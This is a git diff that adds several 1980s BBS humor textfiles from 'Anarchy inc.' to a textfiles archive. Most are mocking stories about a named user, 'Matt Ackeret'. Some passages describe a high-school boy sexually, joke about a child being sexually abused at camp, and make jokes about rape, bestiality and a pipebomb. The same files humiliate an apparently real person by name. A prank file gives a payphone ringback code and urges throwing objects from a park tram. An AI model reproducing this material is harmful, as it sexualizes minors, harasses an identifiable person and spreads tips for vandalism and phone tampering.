YOU CAN'T BE ROD SERLING! YOU'RE DEAD! + + Rod quickly broke out of chat mode, and swore not to ever mix drinks again. +He wandered off, and fell down on his waterbed, trying to piece this fool on his +system together in his mind. He gave up, wandered out of the room, and decided +to see if the donut stains were off his car yet. + + Eric made another mental note that the system operator was either rather rude, +or he really had just died. "Heavens." he muttered. So, he sent a letter to +Matt Ackeret, which stated that he wanted to meet this person, because it seemed +that he was the only one with a "normal" name on the system. + + + Chapter two : Matt Ackeret enters + --------------------------------- + + Matt had been getting these annoying crank calls most of the morning. People +were calling up, and giving him high pitched whistles. He had blown whistles +back, using a whistle he found in a box of Capt. Crunch. He decided he was +hungry, but found that he wasn't tall enough to reach the handle of the +refrigerator. So, he decided to log-onto the Twilight Zone. It was a constant +source of amusement for him, being that he enjoyed being insulted, and besides, +he might one day find somebody else who molested fire hydrants. So, he went in +on his computer, and dialed up the Zone. + + Fate had decided to play a hand in this, as Fate thought it would be amusing +to see what would happen if Thompson and Ackeret met. So, it was pre-destined, +that at 7:32 pm, Saturday, the 5th of January, 1984 ad, that a user was hung up +on, and Matt Ackeret was allowed entrance to the Twilight Zone. (Author's note: +Please inform me which of you was disconnected from the zone at this time of +day. Thank you.) + + Matt entered his password, taking five minutes, being a slow typist and all, +and found himself with the usual hate mail. Most of it was from this person +named "The Jackal", who wanted to make love to him. Matt declined, as he found +that the Jackal wasn't a fire hydrant. Granted, he looks like one, but he +wasn't Matt's type. The fifth letter was from Eric C. Thompson. Matt tilted +his head to the side, and stared at the screen. Somebody accually wanted to +meet him! And somebody accually wanted to side with him on the boards, besides +the Jackal! This was amazing! Perhaps Eric was a fire hydrant... So, he gave +Eric a call that evening. + + + Chapter Three : The Meeting + --------------------------- + + Eric sat up in bed, and stretched, knocking several things off the dresser, +including his TI computer. He replaced it, and found that his telephone was +ringing. Upon answering it, a voice said something like:"HI ERIC!! THIS IS +MATT!" Now, I will note, that Matt Ackeret's voice is so high, that it is +commonly mistaken for a carrier signal. Eric rushed to his computer, and shoved +the phone into his earmuff modem. Matt did the same, and soon they were typing +to each other. + + HI! THIS IS MATT ACKERET! + +Uhm, hello there. This is Eric. I saw you on the twilight zone, and I +decided to send you a letter. How are you? + +FINE! SAY, DID YOU WANT TO GO TRASHING? + +Trashing? Well, my father is already a sanation worker, bu + +tDON'T WORRY ABOUT A THING! WE FIND INTRESTING STUFF WHILE TRASHING! + +You mean going through garbage cans? + +YES! + +Oh, I see. + +DON'T WORRY, MY MOTHER DOES THAT ALL THE TIME. + +Okay... + + This conversation went on for about an hour, where Matt talked about molesting +fire hydrants (whereas Eric pointed out that zuchinni's are more fun.), and +where they would trash. To get to the point, Matt had no idea whatsoever what +"Trashing" was. He had seen the word before, on an AE line. He liked it, so he +decided to impress Eric with the use of it. Eric liked the idea of getting free +things out of a garbage dumpster, and they set a time and date for it. + + + Chapter Four : The Trashing + --------------------------- + + They had found, and staked out for several weeks, an excellent place to do +some trashing. Eric had come up with the idea, and soon they were walking up to +a garbage bin, located behind K-Mart. It was mostly filled with leftovers from +past lunches people had eaten in the luncheon department. Matt jumped right in, +and Eric stood outside to watch. Matt had insisted that he was the expert on +trashing, so Eric decided to let a professional go to work. The first thing +Matt found was an Engerbert Humperdink tape, which he gave to Eric. Eric +profusely thanked him, and pocketed it. Matt had also found a "He-Man Battle +Cat", but he didn't tell Eric, for he was afraid that Eric would take it from +him. So, he kept this treasure hidden. + + "Eric," said Matt, looking up from the dumpster, "We can go to the cans behind +Gemco if you like." Eric looked at him. + + "Uhm, I really don't-" His sentence was short-lived, as Matt cut him off, like +he does in chat mode. + + "No, it would be fascinating! Think!" said Matt. + + "Oh." said Eric. Then, Eric decided to jump about five feet in the air. This +jump was involuntary however, because somebody had put their hand on Eric's +shoulder. + + + Chapter Five : The Sinning! + --------------------------- + + The security guard had seen Eric and Matt from a distance. He was walking +around the back of K-Mart, and found a blond-haired figure with a mole on his +nose, standing there pocketing a tape, while a small youth, who couldn't have +been any older that four, in the guard's oponion, was "swimming" around in the +trash bin. Now, anybody who wanted to play in garbage was beyond him, but then +again, he was a simple person, who worked for minimum wage being a security +guard for K-Mart, so he decided to see why this four-year old enjoyed waste so +much. He walked over, and put his arm on the blond-haired figure's shoulder. A +nice friendly gesture, but Eric hadn't counted on a sweatly palm hitting his +shoulder. He jumped, and the guard took this as a sign of aggression. He +pulled a small revolver, and shot wildly, screaming bloody murder the whole +time. However, he missed, and only succeeded in blackening the large red 'K' +ont the sign. Matt dove into the garbage, which is where he stayed for at least +two weeks, hence his disapearance on the BBS's. Eric, on the other hand, ran +like mad, and returned home. The guard picked himself up off the ground, and +began wondering if they were drug-crazed hippies or not. He decided to blame +the sign on the KKK, and wandered back into the store. + + + Chapter six : Finalle + --------------------- + + Eric reached home, and ran into his room, where he hid under the bed for three +days straight. His parents put out a rescue team on the second night to look +for him, but they were looking in Ohio, by mistake. (You'll have to meet Eric's +parents to understand this weird turn of events. -Author(plural.)) He decided +to swear off the modem, and stay away from people with "normal" names. They +were trouble. So, Eric sold his modem for 49 cents at a flea market, and went +home to listen to a new tape he got, which was another game for the TI. We are +still unsure who bought Eric's modem, but when we find out, that's another +story. + -Fin. + + The characters mentioned in this text file are purely fictional. No actual +persons, living, dead, or otherwise, without satiric content, are intented or +should be inferred. Eric C. Thompson and Matt Ackeret are property of Anarchy +inc. All Rights Reserved. + +/\________________________________________________________________________/\ +\/ \/ + ------------ + .cni yhcranA + ...stneserp... ------------ + Matt Ackeret and Eric C. Thompson + [\\] Do Bridgingheads [//] + livederaD ehT ,soahC ehT covaH ,hcaoR nooM ehT : yb nettirW + Anarchy inc. "We take care of our own." founded mcmlxxxiv + + Introduction: By Havoc The Chaos "I'm not a vandal. I'm a + ------------ friend of entropy." + + This, you might say, could be a sequel to the immensely popular Anarchy inc. +file "Ackeret & Thompson go Trashing". Basically, it's just another example of +why people with the mentallities of an eggplant (ie. New users, Bell telephone +linemen, 13-year olds, etc.) should not try anything like trashing, +bridgingheads, or phreaking. In this story, we would like to present the real +life accounts of our heros, Ackeret & Thompson. In the last textfile, we got to +read about how they decided to go trashing...behind K-Mart. Not a wise thing to +do. Anyways, without futher adieu, we present this month's story... + + Chapter one: Ackeret-Massive Studgod "Time is an illusion... + ----------- Especially with your eyes + closed." + + Matt Ackeret strode out of the parking lot of Homestead High School, and said +a friendly "Hey babe." to a group of girls standing near him. They chattered +about how sexy Matt was, and how badly they wanted his muscular body. Matt +grinned. He walked over to a senior nicknamed "Moose", and demanded his +extortion money. Moose looked up sadly, with great fear in his eyes, stating +that he didn't have any money. Matt made a mental note to blow up his dog. +(Good Christie. -author) Suddently, there was a loud noise from the parking +lot. Matt thought, "Hmmm..Good. My homemade pipebomb went off. I must tell +The Stainless Steel Rat about this." The hall was quickly filled with F.B.I. +agents, all shouting about arresting Ackeret. Matt dived out the second story +window, and landed in the seat of his Lamborghini Countach 5000S. He quickly +sped out of the parking lot, turning up his Deep Purple to the highest volume +attainable. The policemen were now in hot pursuit. He decided to log-onto the +Twilight Zone while driving, and not to waste his time by auto-dialing. He +would just tell Rod that he wanted level nine...Maybe he would be co-sysop. He +drove down highway 280 at eighty miles per hour, grinning all the while. It +wasn't the fact that he heard his mother while driving, it was the fact that she +was calling him for breakfast, and it was noon. This was odd. + + + Chapter two: Wake up and smell the marajuana. "My god! I'm a fireplug. + ----------- Does it hurt much?" + + Matt Ackeret sat slowly up in bed, coming back to the land of the living. His +mother had been calling for some time. It seemed that today was the day that +his parents would both be at work, while Homestead High School was off school +today. "Matt!" his mother bellowed. "Get in here, and eat your oatmeal! It's +getting warm!" Matt yawned. + + "Okay mom." he said in a squeaky voice. His Vic-20 computer thought that his +voice was a carrier tone, and returned with a carrier. Matt sighed. + + "Matt, we're leaving now. We're going to work now." His father, who was in +the living room, playing with Matt's little sister, grinned. He wondered if it +would be cold in Siberia this year. Soon, his parents were gone and out on a +plane overseas. Matt sighed again. + + There was a loud knock on Matt's front door. The door fell inward, due to +lack of hinges. "HELLO!" came a deep voice from outside of the house. "MATT!! +ARE YOU HOME!? I HAVE SOMETHING NEAT TO DO." Matt looked up, and jumped out of +bed. It was his long, lost friend: Eric C. Thompson! Matt bounded into the +living room in his Spider-Man pajamas, with a superman cape on his back. Eric +smiled. + + "Eric!" he said in a squeaky voice. "How have you been since our trashing +experience?" Matt's look of surprise turned to a look of astonishment quickly. +"What's that, Eric?" + + Eric held up a poorly painted box. It was blue, and said "QUAKER OATS" on the +side. About fourty or fifty wires hung from it. "This is my very own Pacific +Bell test set!" Eric proclaimed proudly. "I built it myself." + + Matt was awestruck. "Gee Eric, are we going to go out and look at a bridging +head?" Eric nodded. "Wow!" Matt rushed into his room to get a monkey wrench. +He could use this to open it. He needed a 2/14th, or a something like that... + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mattcamp.hum b/textfiles.com/groups/ANARCHYINC/mattcamp.hum new file mode 100644 index 00000000..ee25e3da --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mattcamp.hum @@ -0,0 +1,191 @@ + + ------------ + Anarchy inc. .. presents .. + ------------ + + +[%:. Matt's Day at CAMP! .:*] Written by ... Matt! +03-11-1986 9:57 am Distributed by ... The Ware Brigade!!!1 + +<<--------------------------------------------------------------------------->> + +MOM'S LIST OF THINGS TO DO WHEN MATTHEW GETS BACK FROM CAMP: + + . Clear out Matt's sleeping bag of all comic books, bubble gum, + pine needles, cow-pies (put there by those mean bullies), and + "accidents" + . Make 100% sure that everything Matt brought with him is here at + home. ("Awww...Mom, somebody stole my Rubix Cube...") + . Make 100% sure that none of those mean boys put anything in his + knapsack. ("Hey guys, who put this in my bag? Gosh, this is a funny + looking cigarette.") ("Hey! Who put these bricks in here!") + . Have Dad give Matt a sponge bath to get rid of the poison oak he + slept in on Thursday + . Call the Camp Supervisor and complain about all those other mean + kids that made fun of Matt when his mattress squeaked every night. + ("Doesn't anybody ever knock anymore? Goddamn perverts.") + +<<--------------------------------------------------------------------------->> + +Dialogue between Matt and his Mother on August 1st, Friday, 1986, 3:17 pm. + +The scene is somewhere in Sunnyvale, California, a thriving town in Silicon +Valley. Looking further, we can see into our hero's living room. There he +is, sitting behind his terminal, happily downloading the newest in pirated +software from a local ae line. Munch happily on your potato chips, and guzzle +your Pepsi, and occasionally masturbate between transfer blocks, Matt, because +your day is about to be ruined.. + +"Matthew! I'm home, and I have good news for you!" + +Looking up from the green screen, quickly and sheepishly zipping his fly up, +Matt stares at his mother, as only Matt knows how. +"Yeah?" + +"Matt, your father and I have decided to let you go to camp this year!" The +look on his mother's face is the same as a thirteen year-old boy having his +first orgasm. Matt's odd little smile fades quickly. + +"Mom! I don't want to go there!" The squeal in his voice, mixed with what +seems a very bad case of a sore throat, is annoying, to say the very least. + +"But you had such fun last time!" A sweeping motion is made with her arms, +and she gives that CREST-type of smile that only Matt's mother could give. + +"No I didn't!" The quality of Matt's voice turns adamant, and it might as well +have been a three year-old child exclaiming how she did not want to go to bed. + +"Oh, but Matt--" His mother looks hurt, crushed by the idea that her son would +not want to go have some "fun in the sun" for a week. + +"No! They're mean to me, and last year I had this really gross bunk partner +who did gross things with the sheep and one time he got down from the top +bunk and started to--" Matt begins to ramble on, as he tends to do from time +to time. + +"Don't start that again with me, young man! You're going!" So then, Mom +puts the groceries away, ignoring the pleas from her son. What a firm parent +she is, and a good one at that. + +Too bad Matt. We leave Matt's home, leaving Matt upstairs in his room, +disgusted with life, and even more mad that the sysop of the local transfer +line waited until he was on the second-to-last block before disconnecting +Matt. "Now I'll never get a copy of Dung Beetles II." Good luck at camp, +Matt, you're going to need it. + +<<--------------------------------------------------------------------------->> + +MATT'S LETTER TO HOME, August 4th, Monday, 1986, 2:32 pm. + + Dear Mom, + + I don't like camp very much this year, I got the same bunk partner that +I got last year. He's really mean to me, and he takes drugs. They should shoot +him for being so mean to me. I haven't been here very long, but it is nice to +know that they remember me from last year. I even have the same nickname as +last year. What does 'prostrate' mean? I didn't bring my 'Hello Kitty' +dictionary with me. Oh, I said a mean word, it begins with 'c' {sorry mom}, +and now I have to clean the toilets for the rest of the week. They listen to +strange, satan music, it sounds like torture to me! It sounds like that movie +you wouldn't take me to once {I didn't want to see it anyway, even if it only +was 25 cents!}. Please send me some 'Screaming Yellow Zonkers' and 'Watermelon +Bonkers', because they confiscated every bit of food I had on me, all my +G.I. Joe comix, too! {I don't really read those!} Next time I come up here, +don't put my name on my underpants! They all stare at my fanny, and put itching +powder on me {in my special place, remember that?}. Well, I hope you don't +forget how to use my macros because I don't want to miss any new messages. +Don't read my mail, it's mean. + + - Love and kisses, + Your son Matt. + +ps. The nice guy that's always smiling at me says that he's going to ream me +at the end of the week and I asked him what that was and he says it's good. +Well, bye. +pps. Be sure to record the cartoons on channel 44, 3:30 pm, Monday through +Friday. Scooby-Doo and Transformers, and cut out "U.S. Acres" every day for +me!! +pps. I love you, I want to come home, and save some 'Snickers' for me! + + +<<--------------------------------------------------------------------------->> + +HIGHLIGHTS IN MATT'S WEEK AT CAMP .. + +[Monday/March 4th]: Matt recieves a large box filled with 'goodies from Mom', +and returns to his bunk, finding the box full of wet moss instead of his +treasures. Everybody else keeps thanking him. + +[Monday night/March 4th]: Tonight was the 'Counselor Hunt Night'. He snuck into +the computer room and played MINER 2049'er. Upon being called a computer geek, +Matt sticks his tongue out, and is threatened to have his tongue and other +less important organs drawn and quartered. He doesn't argue, much. He walks +funny now. + +[Tuesday night/August 5th]: His bunkmates hide Matt's asthma inhaler +somewhere, and decide not to return it until he turns blue. Matt turns +blue, and is forced to suck the contents out instead. + +[Wednesday afternoon/August 6th]: Matt cannot call his favorite bulletin +board systems, and he is deleted, according to a letter from his mother. +Matt cries, and is offered warmth from his bunkmates, in the form of +illegal substances. Matt promptly decides to sleep in the bushes, and +his 'friends' snort his allergy pills in the meantime. + +[Thursday late afternoon/August 7th]: While swimming, one of the meaner +kids attempts to drown Matt. Matt ends up floating downstream, and is +attacked by rabid beavers. When protesting hours later, he gets the +camp leader's bunk all wet. He cleans the toilets again. + +[Thursday night/August 7th]: During archery practice, Matt is shot in the +rump with an arrow. It seems that he was on the range examining a pound +of feces closer, and was attacked. The arrow is removed, Matt does not sleep +well that night. The camp doctor laughs at his 'Wonder Woman' Underoos. + +[Friday morning/August 8th]: Matt wakes up to a bright new morning! The +sun is shining, the birds are mating {yuck!}, and it seems a female moose +has taken up residence in Matt's tent. Matt walks funny for the rest of +the day. Again. + +[Friday afternoon/August 8th]: Matt meets a girl at camp. Cindy is on +quaaludes, and lowers herself to talk to him. Matt tells her about the +secrets of VT-52 emulation and his 1200 baud modem. After accepting an +'asprin' from her, he wakes up Saturday morning with a headache. + +[Saturday morning/August 9th]: Matt discovers to his horror that he is +pregnant. His mother, furious with him, decides to send him to a Wayward +Home for Girls. Matt agrees to go if there are modems there. + +[Saturday night/August 9th]: Matt is home, snug in his bed, surrounded by +dirty magazines, a copy of Dr. Spock's latest book, and "G.I. Joe" comic +books. (That would explain his twisted fantasies..) + +<<--------------------------------------------------------------------------->> + + Dear Matthew, + + Hello from your Mommie! We didn't record those nasty + cartoons for you, but we filled the tapes with 'Mr. Rogers' instead. + Your father and I have a surprise for you! We're going to spend the + rest of the summer in Hawaii! Isn't that wonderful? Oh, as for you, + you get to stay at camp! Keep in touch, pookums. + + -Sincerely, + Mom. +ps. Are you still having those..."problems"? + +<<--------------------------------------------------------------------------->> + + .... and so ends our hero's week at camp. Tune in next time, and we'll + talk some more, about MATT. A legend in his own backyard. + +(Ai) Anarchy inc.(tm) All Tables Reserved. Matt(tm) is a fictional +character (c) 1983-86 Anarchy inc. Any similarities between any of the +names or characters in this story is a living shame. + + ------------ + ANARCHY INC. Dedicated to Alex, who said we couldn't do it. + ------------ "Shut up and keep sucking, bitch.." + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mattfun.hum b/textfiles.com/groups/ANARCHYINC/mattfun.hum new file mode 100644 index 00000000..b9242a81 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mattfun.hum @@ -0,0 +1,98 @@ + + This file from ---]] THE HAUNTED HOUSE [[--- 408/773-1202 300/1200b + +NOTE: This is one of the most useless and childish files that one could + imagine. Just thought it should be shared as to annoy the masses.. + + + +----------------------------------+ + | How to Have Fun at Great America | + | by | + | Bill The Cat | + | | + | With Help From: | + | | + | Tristan Farnon | + | & | + | The Daredevil | + +----------------------------------+ + + +----------------------------------------------------------------------------+ + | Disclaimer | + | If you get kicked out of Great America by playing any of these tricks, do | + | not blame me. These following pranks are used at the prankster's own | + | risk. I haven't even done 2/3 of them... | + +----------------------------------------------------------------------------+ + + + Great America is a popular local amusement park. In fact, it is the + only local amusement park unless you count The Boardwalk an amusement + park. There are many little tricks you can play on people to liven + things up which do not cause any permanent damage...Some of them will + be listed here... + + +Part One: The Main Gate. + + If there is a differential between pricing for kids and adults, and you + are OFFICIALLY in the adult range, but want to get in for the kid's + price, and look like you can almost pass for that age range, just + crouch over a little, without being too conspicuous, and act a + little immature, so you can get in for the lower price. If the employee + thinks that you are too old to get in for the kid's price, make a + fuss, and he/she will probably agree and let you get in for the lower + price. + + +Part Two: On The Delta Flyer. + + The Delta Flyer is the tram that travels across the wire to take you + across the park. + + The first thing you can do is throw things out of the cabin. Do not + follow the rule that says that throwing things out is a violation of a + Penal Code. Good things to throw are Fun Snaps (things that explode + when they hit the ground), or Nerds (little candy things), or any other + small thing. Do not try tohit anyone, because at that height, it could + hurt someone. Just throw things on top of roofs, in ponds, and near + people. + + The second thing that can be done is talking to people coming the other + direction. One thing you can do is play 'Mr. Curious', and ask people + 'What do you have in the bag?' and similar questions. Also insult + their FINE choices in clothing! Just be crazy. + +Part Three: The Phones + + There is a very simple way to play a pretty mean trick at the phones. + {This one was told to me by The Daredevil}. Just walk to the phones + nonchalantlyand inconspicuously, acting like you have to use the phone. + To make it seem evenmore realistic, pretend to call home or something. + But before you leave the phone, dial 740-xxxx, where "xxxx" are the + last four digits of the phone number you are at. Then it will give a + dial tone. Push the receiver once, and it will give a low-pitched + humm. Hang up the phone, and it will be in ringback mode. It will start + ringing, and will not stop until someone answers it {I think}. + + + + I hope that this file has shown you a few ways to have extra fun at + Great America... + + Now comes that obnoxious list of bulletin board systems that comes at + the end of almost every text file... + + The Haunted House (415) 941-7256 + The Realm of the Rogues (415) 941 7256 + The Caverns of Atlantis {300/1200} (408) 257-6115 + Affordable Harbor (408) 249-7599 + + -Bill The Cat + +=====================================================\\ +____ SysOp: 20 Megs ____ Number: || Official PUD Index Card +|| \ Mr. Pez || || 1200 Baud || \\ 313-433-3164 || +||__/ || || || >> || Call today! +|| ROgrESsiVe \|__|/nDerGrOUnD ||_//ISsIdenTS || +=====================================================// + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mattlife.hum b/textfiles.com/groups/ANARCHYINC/mattlife.hum new file mode 100644 index 00000000..1540d213 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mattlife.hum @@ -0,0 +1,100 @@ + ------------ + Anarchy inc. ...somewhat proudly presents... + ------------ /) The Life and Times (\ + \) of Matt Ackeret (/ + as told by: Eric C. Thompson + rewritten on February 19th, 1985 -=- All Rights Shot to Hell + + Introduction: by The Daredevil + ------------- + + Hello, Daredevil here...Well, considering Matt is getting back into the +"wonderful" world of Bulletin Board Systems, I figured that a friend of mine +should re-write his life story, to tell all of you what Matt is really like. +Eric C. Thompson is new to the world of modems, but he's adapted quite well. +So, may I present, The Life and Times of Matt Ackeret. + + [Disclaimer: Matt Ackeret is a completely fictional character, belonging to +Anarchy inc. If your name is Matt Ackeret, then any simularities are completely +nontopical. We take no responsibility whatsoever if anyone is offended, mainly +because we don't give a damn. -author.] + + Chapter one: His Childhood + --------------------------- + + Matt Ackeret was born in the small town of Arco, Ohio. His parents were +unhappy with Matt's birth, because he was supposed to have been an abortion. +His obnoxiousness was noticed at an early age, when he called the doctor a +"professional mean-be'r". Matt was known in his kindergarten class for making +the other kids run away from him, and getting kitchen appliances sticky. His +parents weren't happy with him in the least, being that he molested fireplugs at +an alarming rate, and bought him a vic-20 computer, with a modem. Matt would +sit for hours in front of this "oversized calculator", as he put it, and +program. It was months later, when he found the power switch. + + I believe it was in April, when his parents sent him to the store, for a can +of spam, for lunch. During the time he was at the store, they moved away to +Darkest Africa. Matt came home to find only the Vic-20 sitting on the floor. +It took him two years to notice anything else, except for the fact that "those +two other people" had left, without paying rent. + + + Chapter two: Bulletin Boards and Matt + ------------------------------------- + Matt came to find a modem at the bottom of his closet. So, he plugged it in, +and found that he could call other computers! Such joy. For a year, he was an +avid user of the infamous "Transvestite BBS", but it seemed that they didn't +support Fire Hydrant Molesting. There was a BBS for Fire Hydrant Molesters in +Darkest Africa, but he found phone phreaking to be illegal and immoral. He even +met me, Eric C. Thompson, over the modem. However, I wasn't impressed with +him, or his methods of trashing. (This, is a personal oponion, and should be +disregarded.) Matt wrote some text-files, like "How to Molest Fire Hydrants", +but they weren't too popular with the local users. On such illustrious Bulletin +Boards like The Twilight Zone, and The Haunted House, he tried to fit in. But, +his ill-mannered tones got in the way, and soon everybody began to dislike him. +Matt grew to such heights as being the "System Joke", and "Asshole of the +Month", but that's beside the point. His artistic ability was duplicated on +BBS's, but nobody cares for it anyway. + + + Chapter three: The Sin! + -------------- + I am not sure when it happened, but sometime during his jaunt on the BBS's, a +tragic thing happened to Matt Ackeret. I have the facts somewhat straight, and +believe most of it to be true. Matt Ackeret was raped by a cow. Some people +say that he was warped by it, and decided to be mean and nasty to all around +him. Others insist that he was a willing participant, and enjoyed it. The cow +was put to sleep, being that it was tramatized by this whole event. + + + Chapter four: An Interview! + ------------- + I was lucky enough to get a short interview with Mr. Ackeret, when I went +trashing with him. (See: Ackeret & Thompson; Trashing textfile -author) He +didn't have too much to say: + +Eric: Matt, I'd like to interview you for Anarchy inc. +Matt: NO! THEY'RE MEAN TO ME. +Eric: What did they do? +Matt: They said I got raped by a cow. +Eric: No, they stated that you weren't raped. +Matt: Oh, good. +Eric: They said you were willing. + + with that, Matt left the room and became very annoyed. He and I went out +trashing that evening, and I haven't heard from him since. + + Conclusion + ---------- + I hope people enjoyed this file, and I plan to get Matt to do some other +activities, like trashing. Perhaps we'll go out to a bridging head soon. Matt +Ackeret isn't that bad. Yet, he isn't that good either! + + (c) 1985 Anarchy inc. The original "Life and Times of Matt Ackeret" was +written by The Bullseye, who got bored, and left Anarchy inc. If you are +wishing to be a member of the Matt Ackeret Fan Club, then call: (408) 732-1079, +and ask about the Matt Ackeret Fan Club. Tell 'em Eric C. Thompson sent you, +and you'll get full service. Thank you, and have a nice day. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mattsday.hum b/textfiles.com/groups/ANARCHYINC/mattsday.hum new file mode 100644 index 00000000..c8760d94 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mattsday.hum @@ -0,0 +1,138 @@ + ------------- + Anarchy, Inc. ...kind of, I guess, presents... + ------------- + + A Day in the Life of Matt Ackeret + + by Surf Rat & Someone Else + (formatted for 80 columns) + + +with intro by Someone Else... + +Introduction +------------ + + There are a few things I would like to say about this file before you have a +chance to read it, among them the fact that it was written quite some time ago. +Due to the recent lack of Anti-Matt hype I have refrained from uploading this +little gem until now. Hopefully I have made a wise decision. + + One thing you may not understand is, because I have had the misfortune to know +Matt personally, I have tried in every way possible to conform to the actual +image Matt himself presents us with in daily life. Quite frankly, I believe +Surf and I have done a fairly accurate job. Unfortunately, the file is not +finished, and further volumes eventually will be forthcoming. + + Matt Ackeret is a wholly fictional character, and is a trademark of Anarchy, +Inc. All rights reserved. + +A Day in the Life of Matt Ackeret +--------------------------------- + + "..rringg!!!" the alarm went off. "Time to get up!" his mommy yelled from +somewhere off in the depths of the dingy hovel. "But I don't wanna get up! +Please, mommy, do I hafta go to school today?" Again, that same voice from +somewhere else, "Yes, Mattey, you do. And do try to get along with the kids in +school for once!" A grimace of fear crossed his face, "But mommmm," he +whimpered, "They all hate me! Yesterday they tried to throw me in a garbage +can!" His mom, undaunted, took control of the situation, now intolerable for +poor Matt. "Now keep quiet dear, and eat your oatmeal." "But it's disgusting!" +"Shut up and drink your milk!" + + Half an hour later, our hero leaves for school. He is late. + + Lonely and depressed, standing isolated at the forlorn bus stop, Matt looks at +his watch. 8:05. A tear dribbles down his face and into his mouth. He +swallows it and looks at his watch again. + + At first a slight haze on the horizon, the bus slowly grows into a huge +monster, eager to swollow little Matt. He is ready. The kids, who are some 3 +feet taller than him on the average, laugh at him, as he runs onto the bus, +orange backpack bouncing in the wind. with a huff and a puff, he flopps in the +front seat. "Phew, that was close." "Hey kid!" grumbled one of the bigger, +younger freshmen sitting behind him, "Get that backpack down so I can see!" "No! +your dumb! You little Freshman!" squeaked Matt in triumph, finally able to be +better that someone in something. "Listen runt," the now standing freshman +growles, a look that spelled impending doom spread across his face, "I'm +gunna--" the bus lurches. Matt is thrown out of his seat and smashes his face +against the plexiglass window. A scream of agony pierces the air. "Mommy! +Help me!" his nose starts bleeding, and soon a small puddle surrounds him. + + "I'm bleeding! Someone help me!!" "Well, guys, should we help him?" someone +yells, "Naaa! let the zit bleed!" and with a chorus of agreement and applause, +all subside, to hear Matt whimpering in agony. Finally, after an eternally long +ride, they arrive. It is Homestead High School; for Matt, it is hell. He +tripped off the bus, and upon getting up, stared in disbelief, as everyone +seemed to be getting still taller than before. "Darn! Why can't they make a +growth hormone that works?" he says to himself as he gets up, viewing everyone +on an eye-to-crotch basis. From his unique position, he was able to look at +guys' crotches, and wish that he could have such a muscle. Oh well.. someday.. +he says to himself as he thinks of how puny and thin his own dick is. + + It is now 8:15... Matt is late for first period. As he rushes to his locker, +waves of fat undulating across his body throw him off balance and force him to +stop and wait for a moment before continuing. In time with his short steps, his +backpack kicks him a few good ones in the rear. As he reaches his locker, he +sees that someone has played a nasty trick upon him, dripping out of his locker +is a purplish goo. Undismayed, as this is quite normal, he reaches for the +little black knob. Oh no! He forgot his combination!! No matter! The lock +was krazy-glued (TM) shut that morning anyway. With a grimace of sheer +determination, Matt hits his locker with the full force of his 80 pound body. +It smacks open, hitting him in the face, which on anyone else would have been +their hip: his nose starts to bleed yet once again. + + The tardy bell rings as he runs helter skelter into his sewing class, tripping +over the cords and landing face first in a Senior girl's lap. Recieving a slap +for that, he sits down. "You're late," the teacher glares at him. "It's +Saturday school for you." "Oh no! please! Not another semester of that!" +whimpers Matt, as all the girls, relieved that he will be out of their class, +breathe a sigh of relief. One girl, the one with the glasses, no tits, ugly as +hell, and a real bitch, gives him a quick smile. She had always liked his +style, that way he has of tripping over things, and getting stepped on. +Besides, she knew that he was the only one that she could ever get anywhere +with. After class, she sidles up to him with the look of pure love firmly +etched in her face. "Oh Matt, you're wonderful!" Matt, thoroughly disgusted by +the mere notion of having a girl look at him, quickly turns away blushing +a deep crimson. The girl sees, and walks away, smiling to herself. "At last!" +she said to herself as she walked down the hall, trying to push out her chest to +make her look like she had tits. Two guys talking nearby began to look a little +nauseated. + + Matt, all this time panting, and wondering how he would ever explain this to +his (ha!) friends on the modem, cumms in his pants. People begin to turn and +watch when he shivers and moans in the sheer glory of it. "Hahah! Matt finally +did it!" the whole school chanted, as he gives them a full view of his now moist +and sticky crotch. As Matt walked out of school, blushing a dark, deep, if not +florescent shade. A girl, the same butt-ugly one he had talked to after Sewing +3, runs up to him and squeezes his prick. "You macho man, you!" "Uh, golly, uh, +um," Matt says confidently, "you want to come over and uh, um, see the family +album?" The girl giggles and thrusts out her tits... "Go on, suck these" she +pants. Matt runs away, embarrassed, into a closet and hides till the end of +recess. After the bell rang, and his pants had dried, he emerged, now only +glowing faintly. + + What an experience! Somone actually offered her tits to me! Even though they +weren't big yet, it could have been a worthwhile experience, Matt thinks. He +waddles into the counselor's office to ask advice on the big 'K'..kissing, which +up until recently, had only been a mere dream to Matt, a wet dream. Mrs +Kreitemer, the counselor, smirks at him from behind her pointed nose. "Matt, +Matt, what will I ever do with you..." + + + //.....................................\\ + || Anarchy inc. || + || "We take care of our own." || :.Coming Soon.: + || The Daredevil, Havoc The Chaos, || "The Anarchist Manifisto" + || The Moon Roach, Ruby Tuesday, || by the Moon Roach + || Surf Rat, The Sheik, Dark Shadow, || "The life and times of + || Ron S. VanZuylen, Eric C. Thompson, || Eric C. Thompson." + || A Modem User, The Anarchist, || "Roofing! A complete guide!" + || Someone Else, Alexander of Atlantis,|| by Havoc The Chaos + || Teeny Bopper, DB Cooper, || ...and much more... + || Pleasure Victim, & Torqa Dun. || + \\.....................................// +Anarchy inc. "We take care of our own. Don't make us take care of you." + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mcdonald.hum b/textfiles.com/groups/ANARCHYINC/mcdonald.hum new file mode 100644 index 00000000..a3896956 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mcdonald.hum @@ -0,0 +1,150 @@ + +-=*=-HOW TO TERRORIZE MCDONALDS-=*=- +- Written By: - (converted to lowercase by the one, +- MODEM UZER - the bored, Mr. Pez.) +-=*=-=*=-=*=-=*=----=*=-=*=-=*=-=*=- + +Now, altho McDonalds is famous for it's advertising and making the whole world +think that the Big Mac is the greatest thing to come along since sliced bread +(buns?), each little restaurant is as amateur and simple as a new-found +buziness. Not only are all the employees rather inexperienced at what they're +=supposed= to do, but they will just looze all control when an emergency +occurs....here we go!!! + +First, get a few friends (4 is good...i'll get to 